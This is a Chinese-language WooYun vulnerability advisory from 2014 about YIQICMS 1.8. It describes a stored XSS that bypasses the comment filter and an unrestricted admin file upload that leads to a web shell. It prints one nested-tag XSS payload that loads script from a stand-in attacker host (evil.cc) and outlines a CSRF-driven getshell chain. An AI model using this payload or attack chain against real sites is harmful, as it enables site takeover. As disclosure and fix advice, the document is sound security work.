漏洞概要 关注数(24) 关注此漏洞
缺陷编号:
漏洞标题:
某开源CMS绕过过滤XSS盲打+getshell(伟哥,少林寺官网中枪)
相关厂商:
漏洞作者:
提交时间:
2014-09-23 08:42
修复时间:
2014-12-22 08:44
公开时间:
2014-12-22 08:44
漏洞类型:
文件上传导致任意代码执行
危害等级:
高
自评Rank:
20
漏洞状态:
未联系到厂商或者厂商积极忽略
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系
[email protected]
Tags标签:
分享漏洞:
>
漏洞详情
披露状态:
2014-09-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-22: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
好久没前台过了。。。。
Powered by YIQICMS
“百度为您找到相关结果约17200个”
伟哥官网中枪
详细说明:
最新版1.8,首先关注/comment.php:
我们看到了safecheck函数,但是明显只对content进行了调用,于是留言的标题变成了一处xss.
但是30个字符限制确是鸡肋,于是我们关注safecheck函数。
/include/common.func.php
看到这里想必大家都懂了
天啊噜这不是常出现的<scr<script>ipt>绕过吗
于是构造<scr<script>ipt src=http://evil.cc/evil.js></scr<script>ipt>
在数据被取出时并未进行转义操作
/admin/comments.php
于是后台的景象
恶意js被加载
至此便是盲打后台,接下来是getshell
很幸运地找到了一处可以上传东西的地方
接下来看admin/product-add.php
并没有进行类型限制,看到$filename = date("ymdhis");可以直接抓下包,文件名就是ymdhis。
如果嫌麻烦,还可以回到前台,直接得到shell地址
getshell
当然,因为此处未作CSRF限制,所以可以直接XSRF getshell.
漏洞证明:
修复方案:
健全过滤机制
限制上传类型
版权声明:转载请注明来源 Haswell@乌云
>
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝